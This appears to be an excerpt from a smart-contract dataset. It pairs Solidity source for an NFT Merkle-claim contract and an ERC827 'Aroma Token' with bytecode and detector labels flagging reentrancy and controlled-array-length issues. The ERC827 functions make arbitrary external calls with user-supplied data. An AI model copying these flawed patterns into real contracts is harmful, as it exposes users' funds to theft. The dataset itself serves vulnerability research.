require(msg.sender == info.owner);
info.metadata = _metadata;
}
function claim(uint256 _index, address _account, uint256 _amount, bytes32[] calldata _merkleProof) external {
require(!isClaimed(_index));
bytes32 _node = keccak256(abi.encodePacked(_index, _account, _amount));
require(_verify(_merkleProof, _node));
uint256 _claimedWordIndex = _index / 256;
uint256 _claimedBitIndex = _index % 256;
info.claimedBitMap[_claimedWordIndex] = info.claimedBitMap[_claimedWordIndex] | (1 << _claimedBitIndex);
info.ost.mint(_account, _amount);
uint256 _tokenId = _mint(_account);
emit Claimed(_index, _account, _tokenId);
}
function approve(address _approved, uint256 _tokenId) external {
require(msg.sender == ownerOf(_tokenId));
info.list[_tokenId].approved = _approved;
emit Approval(msg.sender, _approved, _tokenId);
}
function setApprovalForAll(address _operator, bool _approved) external {
info.users[msg.sender].approved[_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
function transferFrom(address _from, address _to, uint256 _tokenId) external {
_transfer(_from, _to, _tokenId);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external {
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory _data) public {
_transfer(_from, _to, _tokenId);
uint32 _size;
assembly {
_size := extcodesize(_to)
}
if (_size > 0) {
require(Receiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data) == 0x150b7a02);
}
}
function name() external view returns (string memory) {
return info.metadata.name();
}
function symbol() external view returns (string memory) {
return info.metadata.symbol();
}
function contractURI() external view returns (string memory) {
return info.metadata.contractURI();
}
function baseTokenURI() external view returns (string memory) {
return info.metadata.baseTokenURI();
}
function tokenURI(uint256 _tokenId) external view returns (string memory) {
return info.metadata.tokenURI(_tokenId);
}
function ostAddress() external view returns (address) {
return address(info.ost);
}
function owner() public view returns (address) {
return info.owner;
}
function totalSupply() public view returns (uint256) {
return info.totalSupply;
}
function balanceOf(address _owner) public view returns (uint256) {
return info.users[_owner].list.length;
}
function ownerOf(uint256 _tokenId) public view returns (address) {
require(_tokenId != 0 && _tokenId <= totalSupply());
return info.list[_tokenId].owner;
}
function getApproved(uint256 _tokenId) public view returns (address) {
require(_tokenId != 0 && _tokenId <= totalSupply());
return info.list[_tokenId].approved;
}
function isApprovedForAll(address _owner, address _operator) public view returns (bool) {
return info.users[_owner].approved[_operator];
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return _index;
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) {
require(_index < balanceOf(_owner));
return info.users[_owner].list[_index];
}
function isClaimed(uint256 _index) public view returns (bool) {
uint256 _claimedWordIndex = _index / 256;
uint256 _claimedBitIndex = _index % 256;
uint256 _claimedWord = info.claimedBitMap[_claimedWordIndex];
uint256 _mask = (1 << _claimedBitIndex);
return _claimedWord & _mask == _mask;
}
function getToken(uint256 _tokenId) public view returns (address tokenOwner, address approved) {
return (ownerOf(_tokenId), getApproved(_tokenId));
}
function getTokens(uint256[] memory _tokenIds) public view returns (address[] memory owners, address[] memory approveds) {
uint256 _length = _tokenIds.length;
owners = new address[](_length);
approveds = new address[](_length);
for (uint256 i = 0; i < _length; i++) {
(owners[i], approveds[i]) = getToken(_tokenIds[i]);
}
}
function getTokensTable(uint256 _limit, uint256 _page, bool _isAsc) public view returns (uint256[] memory tokenIds, address[] memory owners, address[] memory approveds, uint256 totalTokens, uint256 totalPages) {
require(_limit > 0);
totalTokens = totalSupply();
if (totalTokens > 0) {
totalPages = (totalTokens / _limit) + (totalTokens % _limit == 0 ? 0 : 1);
require(_page < totalPages);
uint256 _offset = _limit * _page;
if (_page == totalPages - 1 && totalTokens % _limit != 0) {
_limit = totalTokens % _limit;
}
tokenIds = new uint256[](_limit);
for (uint256 i = 0; i < _limit; i++) {
tokenIds[i] = tokenByIndex(_isAsc ? _offset + i : totalTokens - _offset - i - 1);
}
} else {
totalPages = 0;
tokenIds = new uint256[](0);
}
(owners, approveds) = getTokens(tokenIds);
}
function getOwnerTokensTable(address _owner, uint256 _limit, uint256 _page, bool _isAsc) public view returns (uint256[] memory tokenIds, address[] memory approveds, uint256 totalTokens, uint256 totalPages) {
require(_limit > 0);
totalTokens = balanceOf(_owner);
if (totalTokens > 0) {
totalPages = (totalTokens / _limit) + (totalTokens % _limit == 0 ? 0 : 1);
require(_page < totalPages);
uint256 _offset = _limit * _page;
if (_page == totalPages - 1 && totalTokens % _limit != 0) {
_limit = totalTokens % _limit;
}
tokenIds = new uint256[](_limit);
for (uint256 i = 0; i < _limit; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, _isAsc ? _offset + i : totalTokens - _offset - i - 1);
}
} else {
totalPages = 0;
tokenIds = new uint256[](0);
}
( , approveds) = getTokens(tokenIds);
}
function allInfoFor(address _owner) external view returns (uint256 supply, uint256 ownerBalance) {
return (totalSupply(), balanceOf(_owner));
}
function _mint(address _receiver) internal returns (uint256 tokenId) {
tokenId = totalSupply();
info.totalSupply++;
info.list[tokenId].owner = _receiver;
info.users[_receiver].indexOf[tokenId] = info.users[_receiver].list.push(tokenId);
emit Transfer(address(0x0), _receiver, tokenId);
}
function _transfer(address _from, address _to, uint256 _tokenId) internal {
(address _owner, address _approved) = getToken(_tokenId);
require(_from == _owner);
require(msg.sender == _owner || msg.sender == _approved || isApprovedForAll(_owner, msg.sender));
info.list[_tokenId].owner = _to;
if (_approved != address(0x0)) {
info.list[_tokenId].approved = address(0x0);
emit Approval(address(0x0), address(0x0), _tokenId);
}
uint256 _index = info.users[_from].indexOf[_tokenId] - 1;
uint256 _moved = info.users[_from].list[info.users[_from].list.length - 1];
info.users[_from].list[_index] = _moved;
info.users[_from].indexOf[_moved] = _index + 1;
info.users[_from].list.length--;
delete info.users[_from].indexOf[_tokenId];
info.users[_to].indexOf[_tokenId] = info.users[_to].list.push(_tokenId);
emit Transfer(_from, _to, _tokenId);
}
function _verify(bytes32[] memory _proof, bytes32 _leaf) internal view returns (bool) {
bytes32 _computedHash = _leaf;
for (uint256 i = 0; i < _proof.length; i++) {
bytes32 _proofElement = _proof[i];
if (_computedHash <= _proofElement) {
_computedHash = keccak256(abi.encodePacked(_computedHash, _proofElement));
} else {
_computedHash = keccak256(abi.encodePacked(_proofElement, _computedHash));
}
}
return _computedHash == info.merkleRoot;
}
}
|
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c80636bd5ff2f11610104578063c87b56dd116100a2578063e8a3d48511610071578063e8a3d485146108d4578063e985e9c5146108dc578063f00637951461090a578063f3cb8385146109eb576101cf565b8063c87b56dd14610864578063d547cfb714610881578063d5e667ac14610889578063e4b50cb814610891576101cf565b806395d89b41116100de57806395d89b411461074d5780639e34070f14610755578063a22cb46514610772578063b88d4fde146107a0576101cf565b80636bd5ff2f1461060857806370a082311461071f5780638da5cb5b14610745576101cf565b80632e7ba6ef1161017157806342842e0e1161014b57806342842e0e146105595780634f6ccce71461058f57806357f6b812146105ac5780636352211e146105eb576101cf565b80632e7ba6ef146103695780632f745c59146103f357806332ba0a1e1461041f576101cf565b8063095ea7b3116101ad578063095ea7b3146102c557806313af4035146102f357806318160ddd1461031957806323b872dd14610333576101cf565b806301ffc9a7146101d457806306fdde031461020f578063081812fc1461028c575b600080fd5b6101fb600480360360208110156101ea57600080fd5b50356001600160e01b031916610a11565b604080519115158252519081900360200190f35b610217610a26565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610251578181015183820152602001610239565b50505050905090810190601f16801561027e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102a9600480360360208110156102a257600080fd5b5035610b5c565b604080516001600160a01b039092168252519081900360200190f35b6102f1600480360360408110156102db57600080fd5b506001600160a01b038135169060200135610b9c565b005b6102f16004803603602081101561030957600080fd5b50356001600160a01b0316610c1e565b610321610c57565b60408051918252519081900360200190f35b6102f16004803603606081101561034957600080fd5b506001600160a01b03813581169160208101359091169060400135610c5d565b6102f16004803603608081101561037f57600080fd5b8135916001600160a01b036020820135169160408201359190810190608081016060820135600160201b8111156103b557600080fd5b8201836020820111156103c757600080fd5b803590602001918460208302840111600160201b831117156103e857600080fd5b509092509050610c6d565b6103216004803603604081101561040957600080fd5b506001600160a01b038135169060200135610de7565b6104c06004803603602081101561043557600080fd5b810190602081018135600160201b81111561044f57600080fd5b82018360208201111561046157600080fd5b803590602001918460208302840111600160201b8311171561048257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610e34945050505050565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b838110156105045781810151838201526020016104ec565b50505050905001838103825284818151815260200191508051906020019060200280838360005b8381101561054357818101518382015260200161052b565b5050505090500194505050505060405180910390f35b6102f16004803603606081101561056f57600080fd5b506001600160a01b03813581169160208101359091169060400135610f06565b610321600480360360208110156105a557600080fd5b5035610f21565b6105d2600480360360208110156105c257600080fd5b50356001600160a01b0316610f3a565b6040805192835260208301919091528051918290030190f35b6102a96004803603602081101561060157600080fd5b5035610f57565b6106336004803603606081101561061e57600080fd5b50803590602081013590604001351515610f94565b60405180806020018060200180602001868152602001858152602001848103845289818151815260200191508051906020019060200280838360005b8381101561068757818101518382015260200161066f565b50505050905001848103835288818151815260200191508051906020019060200280838360005b838110156106c65781810151838201526020016106ae565b50505050905001848103825287818151815260200191508051906020019060200280838360005b838110156107055781810151838201526020016106ed565b505050509050019850505050505050505060405180910390f35b6103216004803603602081101561073557600080fd5b50356001600160a01b03166110c8565b6102a96110e3565b6102176110f2565b6101fb6004803603602081101561076b57600080fd5b5035611137565b6102f16004803603604081101561078857600080fd5b506001600160a01b038135169060200135151561115d565b6102f1600480360360808110156107b657600080fd5b6001600160a01b03823581169260208101359091169160408201359190810190608081016060820135600160201b8111156107f057600080fd5b82018360208201111561080257600080fd5b803590602001918460018302840111600160201b8311171561082357600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506111cf945050505050565b6102176004803603602081101561087a57600080fd5b5035611300565b61021761143e565b6102a9611483565b6108ae600480360360208110156108a757600080fd5b5035611492565b604080516001600160a01b03938416815291909216602082015281519081900390910190f35b6102176114a7565b6101fb600480360360408110156108f257600080fd5b506001600160a01b03813581169160200135166114ec565b6109446004803603608081101561092057600080fd5b506001600160a01b038135169060208101359060408101359060600135151561151e565b604051808060200180602001858152602001848152602001838103835287818151815260200191508051906020019060200280838360005b8381101561099457818101518382015260200161097c565b50505050905001838103825286818151815260200191508051906020019060200280838360005b838110156109d35781810151838201526020016109bb565b50505050905001965050505050505060405180910390f35b6102f160048036036020811015610a0157600080fd5b50356001600160a01b0316611652565b60086020526000908152604090205460ff1681565b600654604080516306fdde0360e01b815290516060926001600160a01b0316916306fdde03916004808301926000929190829003018186803b158015610a6b57600080fd5b505afa158015610a7f573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015610aa857600080fd5b8101908080516040519392919084600160201b821115610ac757600080fd5b908301906020820185811115610adc57600080fd5b8251600160201b811182820188101715610af557600080fd5b82525081516020918201929091019080838360005b83811015610b22578181015183820152602001610b0a565b50505050905090810190601f168015610b4f5780820380516001836020036101000a031916815260200191505b5060405250505090505b90565b60008115801590610b745750610b70610c57565b8211155b610b7d57600080fd5b506000908152600360205260409020600101546001600160a01b031690565b610ba581610f57565b6001600160a01b0316336001600160a01b031614610bc257600080fd5b60008181526003602052604080822060010180546001600160a01b0319166001600160a01b0386169081179091559051839233917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259190a45050565b6007546001600160a01b03163314610c3557600080fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60015490565b610c6883838361168b565b505050565b610c7685611137565b15610c8057600080fd5b6040805160208082018890526bffffffffffffffffffffffff19606088901b1682840152605480830187905283518084039091018152607483018085528151918301919091206094928602808501840190955285825293610d01939192879287928392909101908490808284376000920191909152508592506118c7915050565b610d0a57600080fd5b61010086046000818152600260205260408082208054600160ff8c1690811b90911790915560055482516340c10f1960e01b81526001600160a01b038b81166004830152602482018b90529351929493909116926340c10f199260448084019382900301818387803b158015610d7f57600080fd5b505af1158015610d93573d6000803e3d6000fd5b505050506000610da288611971565b905080886001600160a01b03168a7f4ec90e965519d92681267467f775ada5bd214aa92c0dc93d90a5e880ce9ed02660405160405180910390a4505050505050505050565b6000610df2836110c8565b8210610dfd57600080fd5b6001600160a01b0383166000908152600460205260409020805483908110610e2157fe5b9060005260206000200154905092915050565b60608060008351905080604051908082528060200260200182016040528015610e67578160200160208202803883390190505b50925080604051908082528060200260200182016040528015610e94578160200160208202803883390190505b50915060005b81811015610eff57610ebe858281518110610eb157fe5b6020026020010151611492565b858381518110610eca57fe5b60200260200101858481518110610edd57fe5b6001600160a01b03938416602091820292909201015291169052600101610e9a565b5050915091565b610c68838383604051806020016040528060008152506111cf565b6000610f2b610c57565b8210610f3657600080fd5b5090565b600080610f45610c57565b610f4e846110c8565b91509150915091565b60008115801590610f6f5750610f6b610c57565b8211155b610f7857600080fd5b506000908152600360205260409020546001600160a01b031690565b606080606060008060008811610fa957600080fd5b610fb1610c57565b9150811561109a57878281610fc257fe5b0615610fcf576001610fd2565b60005b60ff16888381610fde57fe5b04019050808710610fee57600080fd5b87870260001982018814801561100c575088838161100857fe5b0615155b1561101e5788838161101a57fe5b0698505b88604051908082528060200260200182016040528015611048578160200160208202803883390190505b50955060005b89811015611093576110748861106b57600182848703030361106f565b8183015b610f21565b87828151811061108057fe5b602090810291909101015260010161104e565b50506110ae565b506040805160008082526020820190925294505b6110b785610e34565b959990985094965090945092915050565b6001600160a01b031660009081526004602052604090205490565b6007546001600160a01b031690565b600654604080516395d89b4160e01b815290516060926001600160a01b0316916395d89b41916004808301926000929190829003018186803b158015610a6b57600080fd5b6101008104600090815260026020526040902054600160ff9092169190911b9081161490565b3360008181526004602090815260408083206001600160a01b0387168085526001909101835292819020805460ff1916861515908117909155815190815290519293927f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31929181900390910190a35050565b6111da84848461168b565b823b63ffffffff8116156112f957604051630a85bd0160e11b815233600482018181526001600160a01b038881166024850152604484018790526080606485019081528651608486015286519189169463150b7a0294938b938a938a93909160a490910190602085019080838360005b8381101561126257818101518382015260200161124a565b50505050905090810190601f16801561128f5780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b1580156112b157600080fd5b505af11580156112c5573d6000803e3d6000fd5b505050506040513d60208110156112db57600080fd5b50516001600160e01b031916630a85bd0160e11b146112f957600080fd5b5050505050565b6006546040805163c87b56dd60e01b81526004810184905290516060926001600160a01b03169163c87b56dd916024808301926000929190829003018186803b15801561134c57600080fd5b505afa158015611360573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561138957600080fd5b8101908080516040519392919084600160201b8211156113a857600080fd5b9083019060208201858111156113bd57600080fd5b8251600160201b8111828201881017156113d657600080fd5b82525081516020918201929091019080838360005b838110156114035781810151838201526020016113eb565b50505050905090810190601f1680156114305780820380516001836020036101000a031916815260200191505b506040525050509050919050565b6006546040805163d547cfb760e01b815290516060926001600160a01b03169163d547cfb7916004808301926000929190829003018186803b158015610a6b57600080fd5b6005546001600160a01b031690565b60008061149e83610f57565b610f4e84610b5c565b6006546040805163e8a3d48560e01b815290516060926001600160a01b03169163e8a3d485916004808301926000929190829003018186803b158015610a6b57600080fd5b6001600160a01b0391821660009081526004602090815260408083209390941682526001909201909152205460ff1690565b6060806000806000871161153157600080fd5b61153a886110c8565b915081156116245786828161154b57fe5b061561155857600161155b565b60005b60ff1687838161156757fe5b0401905080861061157757600080fd5b868602600019820187148015611595575087838161159157fe5b0615155b156115a7578783816115a357fe5b0697505b876040519080825280602002602001820160405280156115d1578160200160208202803883390190505b50945060005b8881101561161d576115fe8a886115f55760018385880303036115f9565b8284015b610de7565b86828151811061160a57fe5b60209081029190910101526001016115d7565b5050611638565b506040805160008082526020820190925293505b61164184610e34565b905080935050945094509450949050565b6007546001600160a01b0316331461166957600080fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b60008061169783611492565b91509150816001600160a01b0316856001600160a01b0316146116b957600080fd5b336001600160a01b03831614806116d85750336001600160a01b038216145b806116e857506116e882336114ec565b6116f157600080fd5b600083815260036020526040902080546001600160a01b0319166001600160a01b03868116919091179091558116156117705760008381526003602052604080822060010180546001600160a01b03191690555184919081907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925908290a45b6001600160a01b03851660008181526004602081815260408084208885526002810183529084205494845291905280546000199384019381019081106117b257fe5b60009182526020808320909101546001600160a01b038a1683526004909152604090912080549192508291849081106117e757fe5b60009182526020808320909101929092556001600160a01b03891680825260048084526040808420868552600281018652908420600188019055919092529152805490611838906000198301611a0f565b506001600160a01b0380881660008181526004602081815260408084208b855260029081018352818520859055958c168085529282528084208054600181018083558287528487209091018d90558c86529601909152808320949094559251889392917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a450505050505050565b600081815b84518110156119655760008582815181106118e357fe5b6020026020010151905080831161192a578281604051602001808381526020018281526020019250505060405160208183030381529060405280519060200120925061195c565b808360405160200180838152602001828152602001925050506040516020818303038152906040528051906020012092505b506001016118cc565b50600054149392505050565b600061197b610c57565b6001805481018155600082815260036020908152604080832080546001600160a01b0319166001600160a01b03891690811790915580845260048352818420805495860180825581865284862090960187905586855260020190925280832093909355915192935083927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4919050565b815481835581811115610c6857600083815260209020610c68918101908301610b5991905b80821115610f365760008155600101611a3456fea265627a7a72315820d4e968f0cd69c91f2d321ea03ebf87cbf3b1c534040609234bf63e3f7fab760864736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 6,201 |
0xc327daf071fb374dcb2afd28797fc58f096a8b1f
|
pragma solidity ^0.4.24;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ERC827 is ERC20 {
function approveAndCall(
address _spender,
uint256 _value,
bytes _data
)
public
payable
returns (bool);
function transferAndCall(
address _to,
uint256 _value,
bytes _data
)
public
payable
returns (bool);
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public
payable
returns (bool);
}
contract ERC827Token is ERC827, StandardToken {
/**
* @dev Addition to ERC20 token methods. It allows to
* @dev approve the transfer of value and execute a call with the sent data.
*
* @dev Beware that changing an allowance with this method brings the risk that
* @dev someone may use both the old and the new allowance by unfortunate
* @dev transaction ordering. One possible solution to mitigate this race condition
* @dev is to first reduce the spender's allowance to 0 and set the desired value
* @dev afterwards:
* @dev https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* @param _spender The address that will spend the funds.
* @param _value The amount of tokens to be spent.
* @param _data ABI-encoded contract call to call `_to` address.
*
* @return true if the call function was executed successfully
*/
function approveAndCall(
address _spender,
uint256 _value,
bytes _data
)
public
payable
returns (bool)
{
require(_spender != address(this));
super.approve(_spender, _value);
// solium-disable-next-line security/no-call-value
require(_spender.call.value(msg.value)(_data));
return true;
}
/**
* @dev Addition to ERC20 token methods. Transfer tokens to a specified
* @dev address and execute a call with the sent data on the same transaction
*
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
* @param _data ABI-encoded contract call to call `_to` address.
*
* @return true if the call function was executed successfully
*/
function transferAndCall(
address _to,
uint256 _value,
bytes _data
)
public
payable
returns (bool)
{
require(_to != address(this));
super.transfer(_to, _value);
// solium-disable-next-line security/no-call-value
require(_to.call.value(msg.value)(_data));
return true;
}
/**
* @dev Addition to ERC20 token methods. Transfer tokens from one address to
* @dev another and make a contract call on the same transaction
*
* @param _from The address which you want to send tokens from
* @param _to The address which you want to transfer to
* @param _value The amout of tokens to be transferred
* @param _data ABI-encoded contract call to call `_to` address.
*
* @return true if the call function was executed successfully
*/
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public payable returns (bool)
{
require(_to != address(this));
super.transferFrom(_from, _to, _value);
// solium-disable-next-line security/no-call-value
require(_to.call.value(msg.value)(_data));
return true;
}
/**
* @dev Addition to StandardToken methods. Increase the amount of tokens that
* @dev an owner allowed to a spender and execute a call with the sent data.
*
* @dev approve should be called when allowed[_spender] == 0. To increment
* @dev allowed value is better to use this function to avoid 2 calls (and wait until
* @dev the first transaction is mined)
* @dev From MonolithDAO Token.sol
*
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
* @param _data ABI-encoded contract call to call `_spender` address.
*/
function increaseApprovalAndCall(
address _spender,
uint _addedValue,
bytes _data
)
public
payable
returns (bool)
{
require(_spender != address(this));
super.increaseApproval(_spender, _addedValue);
// solium-disable-next-line security/no-call-value
require(_spender.call.value(msg.value)(_data));
return true;
}
/**
* @dev Addition to StandardToken methods. Decrease the amount of tokens that
* @dev an owner allowed to a spender and execute a call with the sent data.
*
* @dev approve should be called when allowed[_spender] == 0. To decrement
* @dev allowed value is better to use this function to avoid 2 calls (and wait until
* @dev the first transaction is mined)
* @dev From MonolithDAO Token.sol
*
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
* @param _data ABI-encoded contract call to call `_spender` address.
*/
function decreaseApprovalAndCall(
address _spender,
uint _subtractedValue,
bytes _data
)
public
payable
returns (bool)
{
require(_spender != address(this));
super.decreaseApproval(_spender, _subtractedValue);
// solium-disable-next-line security/no-call-value
require(_spender.call.value(msg.value)(_data));
return true;
}
}
contract AromaToken is ERC827Token {
using SafeMath for uint256;
string public name = "Aroma Token";
string public symbol = "ART";
uint public decimals = 18;
address public wallet = 0x0;
constructor (address _wallet) public {
wallet = _wallet;
totalSupply_ = 21 * 100000000 * 10 ** decimals;
balances[wallet] = totalSupply_;
}
/**
* Do not allow direct deposits.
*/
function() public{
revert();
}
}
|
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610103578063095ea7b31461019357806318160ddd146101f857806323b872dd14610223578063313ce567146102a85780634000aea0146102d3578063521eb2731461037157806366188463146103c857806370a082311461042d57806390db623f1461048457806395d89b4114610522578063a9059cbb146105b2578063c1d34b8914610617578063cae9ca51146106d5578063cb3993be14610773578063d73dd62314610811578063dd62ed3e14610876575b3480156100fd57600080fd5b50600080fd5b34801561010f57600080fd5b506101186108ed565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015857808201518184015260208101905061013d565b50505050905090810190601f1680156101855780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019f57600080fd5b506101de600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061098b565b604051808215151515815260200191505060405180910390f35b34801561020457600080fd5b5061020d610a7d565b6040518082815260200191505060405180910390f35b34801561022f57600080fd5b5061028e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a87565b604051808215151515815260200191505060405180910390f35b3480156102b457600080fd5b506102bd610e41565b6040518082815260200191505060405180910390f35b610357600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610e47565b604051808215151515815260200191505060405180910390f35b34801561037d57600080fd5b50610386610f2d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103d457600080fd5b50610413600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f53565b604051808215151515815260200191505060405180910390f35b34801561043957600080fd5b5061046e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111e4565b6040518082815260200191505060405180910390f35b610508600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061122c565b604051808215151515815260200191505060405180910390f35b34801561052e57600080fd5b50610537611312565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561057757808201518184015260208101905061055c565b50505050905090810190601f1680156105a45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105be57600080fd5b506105fd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113b0565b604051808215151515815260200191505060405180910390f35b6106bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506115cf565b604051808215151515815260200191505060405180910390f35b610759600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506116